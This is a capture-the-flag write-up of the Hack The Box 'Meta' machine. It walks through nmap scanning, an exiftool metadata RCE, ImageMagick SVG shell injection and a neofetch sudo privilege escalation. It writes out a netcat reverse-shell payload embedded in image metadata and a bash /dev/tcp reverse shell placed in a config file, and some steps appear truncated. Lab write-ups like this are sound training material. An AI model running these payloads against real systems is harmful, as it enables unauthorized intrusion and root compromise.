Home
HTB - META

Scanning and Enumeration
Starting with a NMAP scan we have...$ nmap -p- --min-rate=1000 -sC -A -T4 $meta
Nmap scan report for 10.10.11.140
Host is up (0.42s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
| 256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_ 256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open http Apache httpd
|_http-title: Did not follow redirect to http://artcorp.htb
|_http-server-header: Apache
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=4/1%OT=22%CT=1%CU=35988%PV=Y%DS=2%DC=T%G=Y%TM=62477BFE
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=103%GCD=1%ISR=10D%TI=Z%CI=Z%TS=A)OPS(O1=M54BST11NW7%O2=M54BST11NW7%O3
OS:=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST11NW7%O6=M54BST11)WIN(W1=FE88%W2=F
OS:E88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54BNNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 371.24 ms 10.10.16.1
2 148.45 ms 10.10.11.140
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 279.72 seconds
We have two ports open on Meta. An ssh service and a web service. Let's test the webserver.Apache httpd - TCP 80


dev01.artcorp.htb
sub-domain found. Checking it out, we have...


Let's perform Exif Data RCE technique using the command...
$ exiftool -Comment='<?php system("nc 10.10.16.70 4444 -e /bin/bash"); ?>' [image_name].jpg
Uploading the image to metaview we have...

Looking at the data returned by the application, it looks like it uses exiftool to process the image uploaded. Let's check for exiftool exploits...


User Privilege Escalation
Searching for files that were created since the start of the year we have...
convert_images.sh
. From its content we can see that a utility called "mogrify" which uses ImageMagick v7.0.10-36
is used to modify files found in /var/www/dev01.artcorp.htb/convert_images/
directory. This version of ImageMagick is known to be vulnerable and method
for exploitation is found on...
https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
It involves the use of a SVG polyglot file of the format below to trigger shell injection vulnerability...

/var/www/dev01.artcorp.htb/convert_images/
as this is the folder location mogrify uses
ImageMagick to process files. Create an svg file with the following code...

xlink:href="msl:[svg_file_name]"
. We have...




Root Privilege Escalation
Listing sudo commands list, we have...

XDG_CONFIG_HOME
that we can control.
This variable sets the home directory where the config file it uses is accessed at $(XDG_CONFIG_HOME)/.config/neofetch/config.conf
. This means that we can set the
XDG_CONFIG_HOME in our shell environemnt to home directory and edit the config file as we want.Run...
$ export XDG_CONFIG_HOME=/home/thomas/.config
Add the following reverse shell bash code to the top of the config file...
/bin/bash -l > /dev/tcp/[your_ip]/[your_port] 0<&1 2>&1
Executing neofetch again as root, on our listener we have...

Thank you for reading my writeup 😀 | Home